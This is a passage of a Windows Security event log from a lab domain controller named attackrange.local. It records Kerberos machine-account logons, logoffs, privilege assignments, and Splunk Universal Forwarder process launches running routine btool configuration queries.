	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252131
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x150655

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252130
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1505F4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252129
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1505F4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64599

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252128
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1505F4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252127
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15058E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252126
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15058E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64598

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252125
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15058E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252124
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15052D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252123
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15052D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64597

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252122
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15052D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252121
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x126c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252120
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x126c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf38
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf38
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13a0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x290
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252117
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x290
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x49c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x49c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13a0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe90
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252113
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252112
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1230
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252111
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11cc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1230
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1230
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
